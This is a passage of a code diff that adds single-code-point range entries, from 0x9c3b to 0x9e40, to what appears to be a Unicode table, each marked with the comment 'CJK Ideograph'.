+ [0x9c3b, 0x9c3b], /* CJK Ideograph */
+ [0x9c3c, 0x9c3c], /* CJK Ideograph */
+ [0x9c3d, 0x9c3d], /* CJK Ideograph */
+ [0x9c3e, 0x9c3e], /* CJK Ideograph */
+ [0x9c3f, 0x9c3f], /* CJK Ideograph */
+ [0x9c40, 0x9c40], /* CJK Ideograph */
+ [0x9c41, 0x9c41], /* CJK Ideograph */
+ [0x9c42, 0x9c42], /* CJK Ideograph */
+ [0x9c43, 0x9c43], /* CJK Ideograph */
+ [0x9c44, 0x9c44], /* CJK Ideograph */
+ [0x9c45, 0x9c45], /* CJK Ideograph */
+ [0x9c46, 0x9c46], /* CJK Ideograph */
+ [0x9c47, 0x9c47], /* CJK Ideograph */
+ [0x9c48, 0x9c48], /* CJK Ideograph */
+ [0x9c49, 0x9c49], /* CJK Ideograph */
+ [0x9c4a, 0x9c4a], /* CJK Ideograph */
+ [0x9c4b, 0x9c4b], /* CJK Ideograph */
+ [0x9c4c, 0x9c4c], /* CJK Ideograph */
+ [0x9c4d, 0x9c4d], /* CJK Ideograph */
+ [0x9c4e, 0x9c4e], /* CJK Ideograph */
+ [0x9c4f, 0x9c4f], /* CJK Ideograph */
+ [0x9c50, 0x9c50], /* CJK Ideograph */
+ [0x9c51, 0x9c51], /* CJK Ideograph */
+ [0x9c52, 0x9c52], /* CJK Ideograph */
+ [0x9c53, 0x9c53], /* CJK Ideograph */
+ [0x9c54, 0x9c54], /* CJK Ideograph */
+ [0x9c55, 0x9c55], /* CJK Ideograph */
+ [0x9c56, 0x9c56], /* CJK Ideograph */
+ [0x9c57, 0x9c57], /* CJK Ideograph */
+ [0x9c58, 0x9c58], /* CJK Ideograph */
+ [0x9c59, 0x9c59], /* CJK Ideograph */
+ [0x9c5a, 0x9c5a], /* CJK Ideograph */
+ [0x9c5b, 0x9c5b], /* CJK Ideograph */
+ [0x9c5c, 0x9c5c], /* CJK Ideograph */
+ [0x9c5d, 0x9c5d], /* CJK Ideograph */
+ [0x9c5e, 0x9c5e], /* CJK Ideograph */
+ [0x9c5f, 0x9c5f], /* CJK Ideograph */
+ [0x9c60, 0x9c60], /* CJK Ideograph */
+ [0x9c61, 0x9c61], /* CJK Ideograph */
+ [0x9c62, 0x9c62], /* CJK Ideograph */
+ [0x9c63, 0x9c63], /* CJK Ideograph */
+ [0x9c64, 0x9c64], /* CJK Ideograph */
+ [0x9c65, 0x9c65], /* CJK Ideograph */
+ [0x9c66, 0x9c66], /* CJK Ideograph */
+ [0x9c67, 0x9c67], /* CJK Ideograph */
+ [0x9c68, 0x9c68], /* CJK Ideograph */
+ [0x9c69, 0x9c69], /* CJK Ideograph */
+ [0x9c6a, 0x9c6a], /* CJK Ideograph */
+ [0x9c6b, 0x9c6b], /* CJK Ideograph */
+ [0x9c6c, 0x9c6c], /* CJK Ideograph */
+ [0x9c6d, 0x9c6d], /* CJK Ideograph */
+ [0x9c6e, 0x9c6e], /* CJK Ideograph */
+ [0x9c6f, 0x9c6f], /* CJK Ideograph */
+ [0x9c70, 0x9c70], /* CJK Ideograph */
+ [0x9c71, 0x9c71], /* CJK Ideograph */
+ [0x9c72, 0x9c72], /* CJK Ideograph */
+ [0x9c73, 0x9c73], /* CJK Ideograph */
+ [0x9c74, 0x9c74], /* CJK Ideograph */
+ [0x9c75, 0x9c75], /* CJK Ideograph */
+ [0x9c76, 0x9c76], /* CJK Ideograph */
+ [0x9c77, 0x9c77], /* CJK Ideograph */
+ [0x9c78, 0x9c78], /* CJK Ideograph */
+ [0x9c79, 0x9c79], /* CJK Ideograph */
+ [0x9c7a, 0x9c7a], /* CJK Ideograph */
+ [0x9c7b, 0x9c7b], /* CJK Ideograph */
+ [0x9c7c, 0x9c7c], /* CJK Ideograph */
+ [0x9c7d, 0x9c7d], /* CJK Ideograph */
+ [0x9c7e, 0x9c7e], /* CJK Ideograph */
+ [0x9c7f, 0x9c7f], /* CJK Ideograph */
+ [0x9c80, 0x9c80], /* CJK Ideograph */
+ [0x9c81, 0x9c81], /* CJK Ideograph */
+ [0x9c82, 0x9c82], /* CJK Ideograph */
+ [0x9c83, 0x9c83], /* CJK Ideograph */
+ [0x9c84, 0x9c84], /* CJK Ideograph */
+ [0x9c85, 0x9c85], /* CJK Ideograph */
+ [0x9c86, 0x9c86], /* CJK Ideograph */
+ [0x9c87, 0x9c87], /* CJK Ideograph */
+ [0x9c88, 0x9c88], /* CJK Ideograph */
+ [0x9c89, 0x9c89], /* CJK Ideograph */
+ [0x9c8a, 0x9c8a], /* CJK Ideograph */
+ [0x9c8b, 0x9c8b], /* CJK Ideograph */
+ [0x9c8c, 0x9c8c], /* CJK Ideograph */
+ [0x9c8d, 0x9c8d], /* CJK Ideograph */
+ [0x9c8e, 0x9c8e], /* CJK Ideograph */
+ [0x9c8f, 0x9c8f], /* CJK Ideograph */
+ [0x9c90, 0x9c90], /* CJK Ideograph */
+ [0x9c91, 0x9c91], /* CJK Ideograph */
+ [0x9c92, 0x9c92], /* CJK Ideograph */
+ [0x9c93, 0x9c93], /* CJK Ideograph */
+ [0x9c94, 0x9c94], /* CJK Ideograph */
+ [0x9c95, 0x9c95], /* CJK Ideograph */
+ [0x9c96, 0x9c96], /* CJK Ideograph */
+ [0x9c97, 0x9c97], /* CJK Ideograph */
+ [0x9c98, 0x9c98], /* CJK Ideograph */
+ [0x9c99, 0x9c99], /* CJK Ideograph */
+ [0x9c9a, 0x9c9a], /* CJK Ideograph */
+ [0x9c9b, 0x9c9b], /* CJK Ideograph */
+ [0x9c9c, 0x9c9c], /* CJK Ideograph */
+ [0x9c9d, 0x9c9d], /* CJK Ideograph */
+ [0x9c9e, 0x9c9e], /* CJK Ideograph */
+ [0x9c9f, 0x9c9f], /* CJK Ideograph */
+ [0x9ca0, 0x9ca0], /* CJK Ideograph */
+ [0x9ca1, 0x9ca1], /* CJK Ideograph */
+ [0x9ca2, 0x9ca2], /* CJK Ideograph */
+ [0x9ca3, 0x9ca3], /* CJK Ideograph */
+ [0x9ca4, 0x9ca4], /* CJK Ideograph */
+ [0x9ca5, 0x9ca5], /* CJK Ideograph */
+ [0x9ca6, 0x9ca6], /* CJK Ideograph */
+ [0x9ca7, 0x9ca7], /* CJK Ideograph */
+ [0x9ca8, 0x9ca8], /* CJK Ideograph */
+ [0x9ca9, 0x9ca9], /* CJK Ideograph */
+ [0x9caa, 0x9caa], /* CJK Ideograph */
+ [0x9cab, 0x9cab], /* CJK Ideograph */
+ [0x9cac, 0x9cac], /* CJK Ideograph */
+ [0x9cad, 0x9cad], /* CJK Ideograph */
+ [0x9cae, 0x9cae], /* CJK Ideograph */
+ [0x9caf, 0x9caf], /* CJK Ideograph */
+ [0x9cb0, 0x9cb0], /* CJK Ideograph */
+ [0x9cb1, 0x9cb1], /* CJK Ideograph */
+ [0x9cb2, 0x9cb2], /* CJK Ideograph */
+ [0x9cb3, 0x9cb3], /* CJK Ideograph */
+ [0x9cb4, 0x9cb4], /* CJK Ideograph */
+ [0x9cb5, 0x9cb5], /* CJK Ideograph */
+ [0x9cb6, 0x9cb6], /* CJK Ideograph */
+ [0x9cb7, 0x9cb7], /* CJK Ideograph */
+ [0x9cb8, 0x9cb8], /* CJK Ideograph */
+ [0x9cb9, 0x9cb9], /* CJK Ideograph */
+ [0x9cba, 0x9cba], /* CJK Ideograph */
+ [0x9cbb, 0x9cbb], /* CJK Ideograph */
+ [0x9cbc, 0x9cbc], /* CJK Ideograph */
+ [0x9cbd, 0x9cbd], /* CJK Ideograph */
+ [0x9cbe, 0x9cbe], /* CJK Ideograph */
+ [0x9cbf, 0x9cbf], /* CJK Ideograph */
+ [0x9cc0, 0x9cc0], /* CJK Ideograph */
+ [0x9cc1, 0x9cc1], /* CJK Ideograph */
+ [0x9cc2, 0x9cc2], /* CJK Ideograph */
+ [0x9cc3, 0x9cc3], /* CJK Ideograph */
+ [0x9cc4, 0x9cc4], /* CJK Ideograph */
+ [0x9cc5, 0x9cc5], /* CJK Ideograph */
+ [0x9cc6, 0x9cc6], /* CJK Ideograph */
+ [0x9cc7, 0x9cc7], /* CJK Ideograph */
+ [0x9cc8, 0x9cc8], /* CJK Ideograph */
+ [0x9cc9, 0x9cc9], /* CJK Ideograph */
+ [0x9cca, 0x9cca], /* CJK Ideograph */
+ [0x9ccb, 0x9ccb], /* CJK Ideograph */
+ [0x9ccc, 0x9ccc], /* CJK Ideograph */
+ [0x9ccd, 0x9ccd], /* CJK Ideograph */
+ [0x9cce, 0x9cce], /* CJK Ideograph */
+ [0x9ccf, 0x9ccf], /* CJK Ideograph */
+ [0x9cd0, 0x9cd0], /* CJK Ideograph */
+ [0x9cd1, 0x9cd1], /* CJK Ideograph */
+ [0x9cd2, 0x9cd2], /* CJK Ideograph */
+ [0x9cd3, 0x9cd3], /* CJK Ideograph */
+ [0x9cd4, 0x9cd4], /* CJK Ideograph */
+ [0x9cd5, 0x9cd5], /* CJK Ideograph */
+ [0x9cd6, 0x9cd6], /* CJK Ideograph */
+ [0x9cd7, 0x9cd7], /* CJK Ideograph */
+ [0x9cd8, 0x9cd8], /* CJK Ideograph */
+ [0x9cd9, 0x9cd9], /* CJK Ideograph */
+ [0x9cda, 0x9cda], /* CJK Ideograph */
+ [0x9cdb, 0x9cdb], /* CJK Ideograph */
+ [0x9cdc, 0x9cdc], /* CJK Ideograph */
+ [0x9cdd, 0x9cdd], /* CJK Ideograph */
+ [0x9cde, 0x9cde], /* CJK Ideograph */
+ [0x9cdf, 0x9cdf], /* CJK Ideograph */
+ [0x9ce0, 0x9ce0], /* CJK Ideograph */
+ [0x9ce1, 0x9ce1], /* CJK Ideograph */
+ [0x9ce2, 0x9ce2], /* CJK Ideograph */
+ [0x9ce3, 0x9ce3], /* CJK Ideograph */
+ [0x9ce4, 0x9ce4], /* CJK Ideograph */
+ [0x9ce5, 0x9ce5], /* CJK Ideograph */
+ [0x9ce6, 0x9ce6], /* CJK Ideograph */
+ [0x9ce7, 0x9ce7], /* CJK Ideograph */
+ [0x9ce8, 0x9ce8], /* CJK Ideograph */
+ [0x9ce9, 0x9ce9], /* CJK Ideograph */
+ [0x9cea, 0x9cea], /* CJK Ideograph */
+ [0x9ceb, 0x9ceb], /* CJK Ideograph */
+ [0x9cec, 0x9cec], /* CJK Ideograph */
+ [0x9ced, 0x9ced], /* CJK Ideograph */
+ [0x9cee, 0x9cee], /* CJK Ideograph */
+ [0x9cef, 0x9cef], /* CJK Ideograph */
+ [0x9cf0, 0x9cf0], /* CJK Ideograph */
+ [0x9cf1, 0x9cf1], /* CJK Ideograph */
+ [0x9cf2, 0x9cf2], /* CJK Ideograph */
+ [0x9cf3, 0x9cf3], /* CJK Ideograph */
+ [0x9cf4, 0x9cf4], /* CJK Ideograph */
+ [0x9cf5, 0x9cf5], /* CJK Ideograph */
+ [0x9cf6, 0x9cf6], /* CJK Ideograph */
+ [0x9cf7, 0x9cf7], /* CJK Ideograph */
+ [0x9cf8, 0x9cf8], /* CJK Ideograph */
+ [0x9cf9, 0x9cf9], /* CJK Ideograph */
+ [0x9cfa, 0x9cfa], /* CJK Ideograph */
+ [0x9cfb, 0x9cfb], /* CJK Ideograph */
+ [0x9cfc, 0x9cfc], /* CJK Ideograph */
+ [0x9cfd, 0x9cfd], /* CJK Ideograph */
+ [0x9cfe, 0x9cfe], /* CJK Ideograph */
+ [0x9cff, 0x9cff], /* CJK Ideograph */
+ [0x9d00, 0x9d00], /* CJK Ideograph */
+ [0x9d01, 0x9d01], /* CJK Ideograph */
+ [0x9d02, 0x9d02], /* CJK Ideograph */
+ [0x9d03, 0x9d03], /* CJK Ideograph */
+ [0x9d04, 0x9d04], /* CJK Ideograph */
+ [0x9d05, 0x9d05], /* CJK Ideograph */
+ [0x9d06, 0x9d06], /* CJK Ideograph */
+ [0x9d07, 0x9d07], /* CJK Ideograph */
+ [0x9d08, 0x9d08], /* CJK Ideograph */
+ [0x9d09, 0x9d09], /* CJK Ideograph */
+ [0x9d0a, 0x9d0a], /* CJK Ideograph */
+ [0x9d0b, 0x9d0b], /* CJK Ideograph */
+ [0x9d0c, 0x9d0c], /* CJK Ideograph */
+ [0x9d0d, 0x9d0d], /* CJK Ideograph */
+ [0x9d0e, 0x9d0e], /* CJK Ideograph */
+ [0x9d0f, 0x9d0f], /* CJK Ideograph */
+ [0x9d10, 0x9d10], /* CJK Ideograph */
+ [0x9d11, 0x9d11], /* CJK Ideograph */
+ [0x9d12, 0x9d12], /* CJK Ideograph */
+ [0x9d13, 0x9d13], /* CJK Ideograph */
+ [0x9d14, 0x9d14], /* CJK Ideograph */
+ [0x9d15, 0x9d15], /* CJK Ideograph */
+ [0x9d16, 0x9d16], /* CJK Ideograph */
+ [0x9d17, 0x9d17], /* CJK Ideograph */
+ [0x9d18, 0x9d18], /* CJK Ideograph */
+ [0x9d19, 0x9d19], /* CJK Ideograph */
+ [0x9d1a, 0x9d1a], /* CJK Ideograph */
+ [0x9d1b, 0x9d1b], /* CJK Ideograph */
+ [0x9d1c, 0x9d1c], /* CJK Ideograph */
+ [0x9d1d, 0x9d1d], /* CJK Ideograph */
+ [0x9d1e, 0x9d1e], /* CJK Ideograph */
+ [0x9d1f, 0x9d1f], /* CJK Ideograph */
+ [0x9d20, 0x9d20], /* CJK Ideograph */
+ [0x9d21, 0x9d21], /* CJK Ideograph */
+ [0x9d22, 0x9d22], /* CJK Ideograph */
+ [0x9d23, 0x9d23], /* CJK Ideograph */
+ [0x9d24, 0x9d24], /* CJK Ideograph */
+ [0x9d25, 0x9d25], /* CJK Ideograph */
+ [0x9d26, 0x9d26], /* CJK Ideograph */
+ [0x9d27, 0x9d27], /* CJK Ideograph */
+ [0x9d28, 0x9d28], /* CJK Ideograph */
+ [0x9d29, 0x9d29], /* CJK Ideograph */
+ [0x9d2a, 0x9d2a], /* CJK Ideograph */
+ [0x9d2b, 0x9d2b], /* CJK Ideograph */
+ [0x9d2c, 0x9d2c], /* CJK Ideograph */
+ [0x9d2d, 0x9d2d], /* CJK Ideograph */
+ [0x9d2e, 0x9d2e], /* CJK Ideograph */
+ [0x9d2f, 0x9d2f], /* CJK Ideograph */
+ [0x9d30, 0x9d30], /* CJK Ideograph */
+ [0x9d31, 0x9d31], /* CJK Ideograph */
+ [0x9d32, 0x9d32], /* CJK Ideograph */
+ [0x9d33, 0x9d33], /* CJK Ideograph */
+ [0x9d34, 0x9d34], /* CJK Ideograph */
+ [0x9d35, 0x9d35], /* CJK Ideograph */
+ [0x9d36, 0x9d36], /* CJK Ideograph */
+ [0x9d37, 0x9d37], /* CJK Ideograph */
+ [0x9d38, 0x9d38], /* CJK Ideograph */
+ [0x9d39, 0x9d39], /* CJK Ideograph */
+ [0x9d3a, 0x9d3a], /* CJK Ideograph */
+ [0x9d3b, 0x9d3b], /* CJK Ideograph */
+ [0x9d3c, 0x9d3c], /* CJK Ideograph */
+ [0x9d3d, 0x9d3d], /* CJK Ideograph */
+ [0x9d3e, 0x9d3e], /* CJK Ideograph */
+ [0x9d3f, 0x9d3f], /* CJK Ideograph */
+ [0x9d40, 0x9d40], /* CJK Ideograph */
+ [0x9d41, 0x9d41], /* CJK Ideograph */
+ [0x9d42, 0x9d42], /* CJK Ideograph */
+ [0x9d43, 0x9d43], /* CJK Ideograph */
+ [0x9d44, 0x9d44], /* CJK Ideograph */
+ [0x9d45, 0x9d45], /* CJK Ideograph */
+ [0x9d46, 0x9d46], /* CJK Ideograph */
+ [0x9d47, 0x9d47], /* CJK Ideograph */
+ [0x9d48, 0x9d48], /* CJK Ideograph */
+ [0x9d49, 0x9d49], /* CJK Ideograph */
+ [0x9d4a, 0x9d4a], /* CJK Ideograph */
+ [0x9d4b, 0x9d4b], /* CJK Ideograph */
+ [0x9d4c, 0x9d4c], /* CJK Ideograph */
+ [0x9d4d, 0x9d4d], /* CJK Ideograph */
+ [0x9d4e, 0x9d4e], /* CJK Ideograph */
+ [0x9d4f, 0x9d4f], /* CJK Ideograph */
+ [0x9d50, 0x9d50], /* CJK Ideograph */
+ [0x9d51, 0x9d51], /* CJK Ideograph */
+ [0x9d52, 0x9d52], /* CJK Ideograph */
+ [0x9d53, 0x9d53], /* CJK Ideograph */
+ [0x9d54, 0x9d54], /* CJK Ideograph */
+ [0x9d55, 0x9d55], /* CJK Ideograph */
+ [0x9d56, 0x9d56], /* CJK Ideograph */
+ [0x9d57, 0x9d57], /* CJK Ideograph */
+ [0x9d58, 0x9d58], /* CJK Ideograph */
+ [0x9d59, 0x9d59], /* CJK Ideograph */
+ [0x9d5a, 0x9d5a], /* CJK Ideograph */
+ [0x9d5b, 0x9d5b], /* CJK Ideograph */
+ [0x9d5c, 0x9d5c], /* CJK Ideograph */
+ [0x9d5d, 0x9d5d], /* CJK Ideograph */
+ [0x9d5e, 0x9d5e], /* CJK Ideograph */
+ [0x9d5f, 0x9d5f], /* CJK Ideograph */
+ [0x9d60, 0x9d60], /* CJK Ideograph */
+ [0x9d61, 0x9d61], /* CJK Ideograph */
+ [0x9d62, 0x9d62], /* CJK Ideograph */
+ [0x9d63, 0x9d63], /* CJK Ideograph */
+ [0x9d64, 0x9d64], /* CJK Ideograph */
+ [0x9d65, 0x9d65], /* CJK Ideograph */
+ [0x9d66, 0x9d66], /* CJK Ideograph */
+ [0x9d67, 0x9d67], /* CJK Ideograph */
+ [0x9d68, 0x9d68], /* CJK Ideograph */
+ [0x9d69, 0x9d69], /* CJK Ideograph */
+ [0x9d6a, 0x9d6a], /* CJK Ideograph */
+ [0x9d6b, 0x9d6b], /* CJK Ideograph */
+ [0x9d6c, 0x9d6c], /* CJK Ideograph */
+ [0x9d6d, 0x9d6d], /* CJK Ideograph */
+ [0x9d6e, 0x9d6e], /* CJK Ideograph */
+ [0x9d6f, 0x9d6f], /* CJK Ideograph */
+ [0x9d70, 0x9d70], /* CJK Ideograph */
+ [0x9d71, 0x9d71], /* CJK Ideograph */
+ [0x9d72, 0x9d72], /* CJK Ideograph */
+ [0x9d73, 0x9d73], /* CJK Ideograph */
+ [0x9d74, 0x9d74], /* CJK Ideograph */
+ [0x9d75, 0x9d75], /* CJK Ideograph */
+ [0x9d76, 0x9d76], /* CJK Ideograph */
+ [0x9d77, 0x9d77], /* CJK Ideograph */
+ [0x9d78, 0x9d78], /* CJK Ideograph */
+ [0x9d79, 0x9d79], /* CJK Ideograph */
+ [0x9d7a, 0x9d7a], /* CJK Ideograph */
+ [0x9d7b, 0x9d7b], /* CJK Ideograph */
+ [0x9d7c, 0x9d7c], /* CJK Ideograph */
+ [0x9d7d, 0x9d7d], /* CJK Ideograph */
+ [0x9d7e, 0x9d7e], /* CJK Ideograph */
+ [0x9d7f, 0x9d7f], /* CJK Ideograph */
+ [0x9d80, 0x9d80], /* CJK Ideograph */
+ [0x9d81, 0x9d81], /* CJK Ideograph */
+ [0x9d82, 0x9d82], /* CJK Ideograph */
+ [0x9d83, 0x9d83], /* CJK Ideograph */
+ [0x9d84, 0x9d84], /* CJK Ideograph */
+ [0x9d85, 0x9d85], /* CJK Ideograph */
+ [0x9d86, 0x9d86], /* CJK Ideograph */
+ [0x9d87, 0x9d87], /* CJK Ideograph */
+ [0x9d88, 0x9d88], /* CJK Ideograph */
+ [0x9d89, 0x9d89], /* CJK Ideograph */
+ [0x9d8a, 0x9d8a], /* CJK Ideograph */
+ [0x9d8b, 0x9d8b], /* CJK Ideograph */
+ [0x9d8c, 0x9d8c], /* CJK Ideograph */
+ [0x9d8d, 0x9d8d], /* CJK Ideograph */
+ [0x9d8e, 0x9d8e], /* CJK Ideograph */
+ [0x9d8f, 0x9d8f], /* CJK Ideograph */
+ [0x9d90, 0x9d90], /* CJK Ideograph */
+ [0x9d91, 0x9d91], /* CJK Ideograph */
+ [0x9d92, 0x9d92], /* CJK Ideograph */
+ [0x9d93, 0x9d93], /* CJK Ideograph */
+ [0x9d94, 0x9d94], /* CJK Ideograph */
+ [0x9d95, 0x9d95], /* CJK Ideograph */
+ [0x9d96, 0x9d96], /* CJK Ideograph */
+ [0x9d97, 0x9d97], /* CJK Ideograph */
+ [0x9d98, 0x9d98], /* CJK Ideograph */
+ [0x9d99, 0x9d99], /* CJK Ideograph */
+ [0x9d9a, 0x9d9a], /* CJK Ideograph */
+ [0x9d9b, 0x9d9b], /* CJK Ideograph */
+ [0x9d9c, 0x9d9c], /* CJK Ideograph */
+ [0x9d9d, 0x9d9d], /* CJK Ideograph */
+ [0x9d9e, 0x9d9e], /* CJK Ideograph */
+ [0x9d9f, 0x9d9f], /* CJK Ideograph */
+ [0x9da0, 0x9da0], /* CJK Ideograph */
+ [0x9da1, 0x9da1], /* CJK Ideograph */
+ [0x9da2, 0x9da2], /* CJK Ideograph */
+ [0x9da3, 0x9da3], /* CJK Ideograph */
+ [0x9da4, 0x9da4], /* CJK Ideograph */
+ [0x9da5, 0x9da5], /* CJK Ideograph */
+ [0x9da6, 0x9da6], /* CJK Ideograph */
+ [0x9da7, 0x9da7], /* CJK Ideograph */
+ [0x9da8, 0x9da8], /* CJK Ideograph */
+ [0x9da9, 0x9da9], /* CJK Ideograph */
+ [0x9daa, 0x9daa], /* CJK Ideograph */
+ [0x9dab, 0x9dab], /* CJK Ideograph */
+ [0x9dac, 0x9dac], /* CJK Ideograph */
+ [0x9dad, 0x9dad], /* CJK Ideograph */
+ [0x9dae, 0x9dae], /* CJK Ideograph */
+ [0x9daf, 0x9daf], /* CJK Ideograph */
+ [0x9db0, 0x9db0], /* CJK Ideograph */
+ [0x9db1, 0x9db1], /* CJK Ideograph */
+ [0x9db2, 0x9db2], /* CJK Ideograph */
+ [0x9db3, 0x9db3], /* CJK Ideograph */
+ [0x9db4, 0x9db4], /* CJK Ideograph */
+ [0x9db5, 0x9db5], /* CJK Ideograph */
+ [0x9db6, 0x9db6], /* CJK Ideograph */
+ [0x9db7, 0x9db7], /* CJK Ideograph */
+ [0x9db8, 0x9db8], /* CJK Ideograph */
+ [0x9db9, 0x9db9], /* CJK Ideograph */
+ [0x9dba, 0x9dba], /* CJK Ideograph */
+ [0x9dbb, 0x9dbb], /* CJK Ideograph */
+ [0x9dbc, 0x9dbc], /* CJK Ideograph */
+ [0x9dbd, 0x9dbd], /* CJK Ideograph */
+ [0x9dbe, 0x9dbe], /* CJK Ideograph */
+ [0x9dbf, 0x9dbf], /* CJK Ideograph */
+ [0x9dc0, 0x9dc0], /* CJK Ideograph */
+ [0x9dc1, 0x9dc1], /* CJK Ideograph */
+ [0x9dc2, 0x9dc2], /* CJK Ideograph */
+ [0x9dc3, 0x9dc3], /* CJK Ideograph */
+ [0x9dc4, 0x9dc4], /* CJK Ideograph */
+ [0x9dc5, 0x9dc5], /* CJK Ideograph */
+ [0x9dc6, 0x9dc6], /* CJK Ideograph */
+ [0x9dc7, 0x9dc7], /* CJK Ideograph */
+ [0x9dc8, 0x9dc8], /* CJK Ideograph */
+ [0x9dc9, 0x9dc9], /* CJK Ideograph */
+ [0x9dca, 0x9dca], /* CJK Ideograph */
+ [0x9dcb, 0x9dcb], /* CJK Ideograph */
+ [0x9dcc, 0x9dcc], /* CJK Ideograph */
+ [0x9dcd, 0x9dcd], /* CJK Ideograph */
+ [0x9dce, 0x9dce], /* CJK Ideograph */
+ [0x9dcf, 0x9dcf], /* CJK Ideograph */
+ [0x9dd0, 0x9dd0], /* CJK Ideograph */
+ [0x9dd1, 0x9dd1], /* CJK Ideograph */
+ [0x9dd2, 0x9dd2], /* CJK Ideograph */
+ [0x9dd3, 0x9dd3], /* CJK Ideograph */
+ [0x9dd4, 0x9dd4], /* CJK Ideograph */
+ [0x9dd5, 0x9dd5], /* CJK Ideograph */
+ [0x9dd6, 0x9dd6], /* CJK Ideograph */
+ [0x9dd7, 0x9dd7], /* CJK Ideograph */
+ [0x9dd8, 0x9dd8], /* CJK Ideograph */
+ [0x9dd9, 0x9dd9], /* CJK Ideograph */
+ [0x9dda, 0x9dda], /* CJK Ideograph */
+ [0x9ddb, 0x9ddb], /* CJK Ideograph */
+ [0x9ddc, 0x9ddc], /* CJK Ideograph */
+ [0x9ddd, 0x9ddd], /* CJK Ideograph */
+ [0x9dde, 0x9dde], /* CJK Ideograph */
+ [0x9ddf, 0x9ddf], /* CJK Ideograph */
+ [0x9de0, 0x9de0], /* CJK Ideograph */
+ [0x9de1, 0x9de1], /* CJK Ideograph */
+ [0x9de2, 0x9de2], /* CJK Ideograph */
+ [0x9de3, 0x9de3], /* CJK Ideograph */
+ [0x9de4, 0x9de4], /* CJK Ideograph */
+ [0x9de5, 0x9de5], /* CJK Ideograph */
+ [0x9de6, 0x9de6], /* CJK Ideograph */
+ [0x9de7, 0x9de7], /* CJK Ideograph */
+ [0x9de8, 0x9de8], /* CJK Ideograph */
+ [0x9de9, 0x9de9], /* CJK Ideograph */
+ [0x9dea, 0x9dea], /* CJK Ideograph */
+ [0x9deb, 0x9deb], /* CJK Ideograph */
+ [0x9dec, 0x9dec], /* CJK Ideograph */
+ [0x9ded, 0x9ded], /* CJK Ideograph */
+ [0x9dee, 0x9dee], /* CJK Ideograph */
+ [0x9def, 0x9def], /* CJK Ideograph */
+ [0x9df0, 0x9df0], /* CJK Ideograph */
+ [0x9df1, 0x9df1], /* CJK Ideograph */
+ [0x9df2, 0x9df2], /* CJK Ideograph */
+ [0x9df3, 0x9df3], /* CJK Ideograph */
+ [0x9df4, 0x9df4], /* CJK Ideograph */
+ [0x9df5, 0x9df5], /* CJK Ideograph */
+ [0x9df6, 0x9df6], /* CJK Ideograph */
+ [0x9df7, 0x9df7], /* CJK Ideograph */
+ [0x9df8, 0x9df8], /* CJK Ideograph */
+ [0x9df9, 0x9df9], /* CJK Ideograph */
+ [0x9dfa, 0x9dfa], /* CJK Ideograph */
+ [0x9dfb, 0x9dfb], /* CJK Ideograph */
+ [0x9dfc, 0x9dfc], /* CJK Ideograph */
+ [0x9dfd, 0x9dfd], /* CJK Ideograph */
+ [0x9dfe, 0x9dfe], /* CJK Ideograph */
+ [0x9dff, 0x9dff], /* CJK Ideograph */
+ [0x9e00, 0x9e00], /* CJK Ideograph */
+ [0x9e01, 0x9e01], /* CJK Ideograph */
+ [0x9e02, 0x9e02], /* CJK Ideograph */
+ [0x9e03, 0x9e03], /* CJK Ideograph */
+ [0x9e04, 0x9e04], /* CJK Ideograph */
+ [0x9e05, 0x9e05], /* CJK Ideograph */
+ [0x9e06, 0x9e06], /* CJK Ideograph */
+ [0x9e07, 0x9e07], /* CJK Ideograph */
+ [0x9e08, 0x9e08], /* CJK Ideograph */
+ [0x9e09, 0x9e09], /* CJK Ideograph */
+ [0x9e0a, 0x9e0a], /* CJK Ideograph */
+ [0x9e0b, 0x9e0b], /* CJK Ideograph */
+ [0x9e0c, 0x9e0c], /* CJK Ideograph */
+ [0x9e0d, 0x9e0d], /* CJK Ideograph */
+ [0x9e0e, 0x9e0e], /* CJK Ideograph */
+ [0x9e0f, 0x9e0f], /* CJK Ideograph */
+ [0x9e10, 0x9e10], /* CJK Ideograph */
+ [0x9e11, 0x9e11], /* CJK Ideograph */
+ [0x9e12, 0x9e12], /* CJK Ideograph */
+ [0x9e13, 0x9e13], /* CJK Ideograph */
+ [0x9e14, 0x9e14], /* CJK Ideograph */
+ [0x9e15, 0x9e15], /* CJK Ideograph */
+ [0x9e16, 0x9e16], /* CJK Ideograph */
+ [0x9e17, 0x9e17], /* CJK Ideograph */
+ [0x9e18, 0x9e18], /* CJK Ideograph */
+ [0x9e19, 0x9e19], /* CJK Ideograph */
+ [0x9e1a, 0x9e1a], /* CJK Ideograph */
+ [0x9e1b, 0x9e1b], /* CJK Ideograph */
+ [0x9e1c, 0x9e1c], /* CJK Ideograph */
+ [0x9e1d, 0x9e1d], /* CJK Ideograph */
+ [0x9e1e, 0x9e1e], /* CJK Ideograph */
+ [0x9e1f, 0x9e1f], /* CJK Ideograph */
+ [0x9e20, 0x9e20], /* CJK Ideograph */
+ [0x9e21, 0x9e21], /* CJK Ideograph */
+ [0x9e22, 0x9e22], /* CJK Ideograph */
+ [0x9e23, 0x9e23], /* CJK Ideograph */
+ [0x9e24, 0x9e24], /* CJK Ideograph */
+ [0x9e25, 0x9e25], /* CJK Ideograph */
+ [0x9e26, 0x9e26], /* CJK Ideograph */
+ [0x9e27, 0x9e27], /* CJK Ideograph */
+ [0x9e28, 0x9e28], /* CJK Ideograph */
+ [0x9e29, 0x9e29], /* CJK Ideograph */
+ [0x9e2a, 0x9e2a], /* CJK Ideograph */
+ [0x9e2b, 0x9e2b], /* CJK Ideograph */
+ [0x9e2c, 0x9e2c], /* CJK Ideograph */
+ [0x9e2d, 0x9e2d], /* CJK Ideograph */
+ [0x9e2e, 0x9e2e], /* CJK Ideograph */
+ [0x9e2f, 0x9e2f], /* CJK Ideograph */
+ [0x9e30, 0x9e30], /* CJK Ideograph */
+ [0x9e31, 0x9e31], /* CJK Ideograph */
+ [0x9e32, 0x9e32], /* CJK Ideograph */
+ [0x9e33, 0x9e33], /* CJK Ideograph */
+ [0x9e34, 0x9e34], /* CJK Ideograph */
+ [0x9e35, 0x9e35], /* CJK Ideograph */
+ [0x9e36, 0x9e36], /* CJK Ideograph */
+ [0x9e37, 0x9e37], /* CJK Ideograph */
+ [0x9e38, 0x9e38], /* CJK Ideograph */
+ [0x9e39, 0x9e39], /* CJK Ideograph */
+ [0x9e3a, 0x9e3a], /* CJK Ideograph */
+ [0x9e3b, 0x9e3b], /* CJK Ideograph */
+ [0x9e3c, 0x9e3c], /* CJK Ideograph */
+ [0x9e3d, 0x9e3d], /* CJK Ideograph */
+ [0x9e3e, 0x9e3e], /* CJK Ideograph */
+ [0x9e3f, 0x9e3f], /* CJK Ideograph */
+ [0x9e40, 0x9e40], /* CJK Ideograph */
